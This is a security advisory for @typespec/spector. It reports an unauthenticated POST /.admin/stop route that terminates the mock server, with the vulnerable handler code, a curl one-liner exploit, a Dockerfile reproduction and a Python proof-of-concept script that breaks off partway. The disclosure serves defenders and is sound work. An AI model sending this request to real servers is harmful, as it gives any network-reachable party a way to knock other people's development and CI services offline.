GHSA-7q9c-hpx7-9cwm TypeSpec: Unauthenticated Remote Shutdown of Spector Mock Server via POST /.admin/stop

• npm @typespec/spector: < 0.1.0-alpha.27 → fixed in 0.1.0-alpha.27

Summary `@typespec/spector` registers a `POST /.admin/stop` HTTP route with no authentication, authorization token, Origin check, or IP-source restriction. Any network-reachable client can send a single unauthenticated POST request to terminate the mock server process. Because the server binds to `0.0.0.0` by default (all interfaces), this endpoint is exposed to any host that can reach the server's port—not just localhost—making a complete denial-of-service trivially achievable with one HTTP request. Severity is High (CVSS 7.5). Details The vulnerability originates in `packages/spector/src/routes/admin.ts` at line 7, where an Express router registers the shutdown endpoint with no authentication middleware whatsoever: ```ts // packages/spector/src/routes/admin.ts:7-12 router.post(AdminUrls.stop, (_req, res) => { logger.info("Received signal to stop server. Exiting..."); res.status(202).end(); setTimeout(() => { process.exit(0); }); }); ``` The constant `AdminUrls.stop` resolves to `/.admin/stop` (`packages/spector/src/constants.ts:1-3`). The complete attack-reachable call chain is: 1. `packages/spector/src/cli/cli.ts:139-166` — `tsp-spector serve ` starts the server on default port `3000`. No `host` option is offered, so binding address is determined by the Express/Node.js default. 2. `packages/spector/src/actions/serve.ts:28-33` — constructs `MockApiApp` and calls `start()` without supplying a host argument. 3. `packages/spector/src/app/app.ts:39-40` — registers `internalRouter` at `/`, which includes the admin routes. 4. `packages/spector/src/routes/index.ts:4-5` — mounts `adminRoutes` under `/`. 5. `packages/spector/src/routes/admin.ts:7-12` — the `POST /.admin/stop` handler (the sink) is reached with zero authentication. 6. `packages/spector/src/server/server.ts:88` — `this.app.listen(this.config.port)` is called without a host argument, causing Node.js/Express to bind on `0.0.0.0` (all network interfaces). There is no authentication middleware, API token validation, `Authorization` header check, `Origin` header restriction, or IP allowlist anywhere between the inbound HTTP request and the `process.exit(0)` call. The admin route is mounted before scenario routes so it cannot be shadowed. PoC Prerequisites: ``` git clone https://github.com/microsoft/typespec cd typespec Checkout commit d88ddc16 (affected version 0.1.0-alpha.26) pnpm install pnpm build ``` Step 1 — Start the mock server: ```bash pnpm --filter @typespec/spector exec tsp-spector serve packages/http-specs/specs --port 3000 Server listens on 0.0.0.0:3000 by default ``` Alternatively, use the provided Docker environment: ```bash Build context: reports/npm_web_64_microsoft__typespec/ docker build -t vuln002-spector -f vuln-002/Dockerfile . docker run -d -p 3001:3000 --name vuln002-server vuln002-spector ``` Step 2 — Execute the exploit (single unauthenticated request): ```bash curl -i -X POST http://:3000/.admin/stop ``` Using the provided PoC script: ```bash python3 vuln-002/poc.py --host 127.0.0.1 --port 3001 ``` Step 3 — Observe the result: ``` HTTP/1.1 202 Accepted ``` The server process immediately exits. Subsequent connection attempts are refused. Docker logs show: ``` info Received signal to stop server. Exiting... ``` Docker inspect confirms `ExitCode=0, Status=exited`. No credentials, tokens, or special headers are required at any step. Impact This is a Missing Authentication for Critical Function (CWE-306) vulnerability. An unauthenticated remote attacker who can send HTTP traffic to the port where `tsp-spector serve` is listening can terminate the server process with a single POST request, resulting in a complete denial of service. The primary victims are development or CI/CD pipeline operators who run `tsp-spector serve` in environments where the port is reachable from untrusted network segments—for example, a shared CI runner, a cloud developer environment, a container without proper network isolation, or any host with the port exposed to a network. Because the server binds to `0.0.0.0` by default and the CLI offers no `--host` option to restrict the binding address, operators have no built-in mechanism to mitigate this risk without external firewall rules. Although `@typespec/spector` is a development/testing tool, there is a clear attacker-victim trust boundary: a third party reachable over the network is distinct from the developer who started the server. The default configuration is vulnerable without any additional attacker capability beyond network reachability. Reproduction artifacts `Dockerfile` ```dockerfile VULN-002 PoC: Unauthenticated Remote Shutdown via POST /.admin/stop Package: @typespec/spector 0.1.0-alpha.26 (microsoft/typespec) CWE-306: Missing Authentication for Critical Function CVSS 7.5 (High) Build context: reports/npm_web_64_microsoft__typespec/ Build: docker build -t vuln002-spector -f vuln-002/Dockerfile . Run: docker run -d -p 3000:3000 --name vuln002-server vuln002-spector FROM node:22-slim Install tsx to run TypeScript source files directly without compilation. This lets us use the actual repository .ts files as-is. RUN npm install -g tsx@4 WORKDIR /poc Minimal package.json declaring ESM mode RUN echo '{"type":"module"}' > package.json Install only the npm packages actually used by the vulnerable code path: express — web framework (admin.ts, routes/index.ts, server.ts) picocolors — terminal colors (logger.ts) RUN npm install express picocolors ----------------------------------------------------------------------- Copy the EXACT vulnerable source files from the repository. No source file is modified — they are used verbatim. ----------------------------------------------------------------------- packages/spector/src/constants.ts Defines AdminUrls.stop = "/.admin/stop" COPY repo/packages/spector/src/constants.ts ./spector/constants.ts packages/spector/src/logger.ts Simple console logger; imported by admin.ts COPY repo/packages/spector/src/logger.ts ./spector/logger.ts packages/spector/src/routes/admin.ts ← VULNERABILITY SINK Registers POST /.admin/stop with NO authentication → process.exit(0) COPY repo/packages/spector/src/routes/admin.ts ./spector/routes/admin.ts packages/spector/src/routes/index.ts Mounts adminRoutes at "/" COPY repo/packages/spector/src/routes/index.ts ./spector/routes/index.ts Minimal entry point that connects the router to the HTTP server, replicating the behaviour of MockApiApp.start() + MockApiServer.start() COPY vuln-002/server-entry.ts ./server-entry.ts EXPOSE 3000 tsx strips TypeScript types at runtime — no separate compile step needed CMD ["tsx", "server-entry.ts"] ``` `poc.py` ```python !/usr/bin/env python3 """ PoC for VULN-002: Unauthenticated Remote Shutdown via POST /.admin/stop Package: @typespec/spector 0.1.0-alpha.26 (microsoft/typespec) CWE: CWE-306 — Missing Authentication for Critical Function CVSS v3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Base Score: 7.5 (High) Vulnerability: packages/spector/src/routes/admin.ts:7 registers POST /.admin/stop without any authentication, token, Origin, or IP-source check. The handler calls process.exit(0) after returning HTTP 202. The server listens on 0.0.0.0 (packages/spector/src/server/server.ts:88) so any network-reachable client can terminate the process with a single unauthenticated POST request. Usage: python3 poc.py [--host HOST] [--port PORT] """ import sys import time import socket import argparse import urllib.request import urllib.error BANNER = """ ================================================================ VULN-002: Unauthenticated Remote Shutdown — POST /.admin/stop Package : @typespec/spector 0.1.0-alpha.26 CWE : CWE-306 CVSS 7.5 (High) ================================================================ """ PASS_MSG = """ [EXPLOIT SUCCESSFUL] 1. Server accepted an unauthenticate…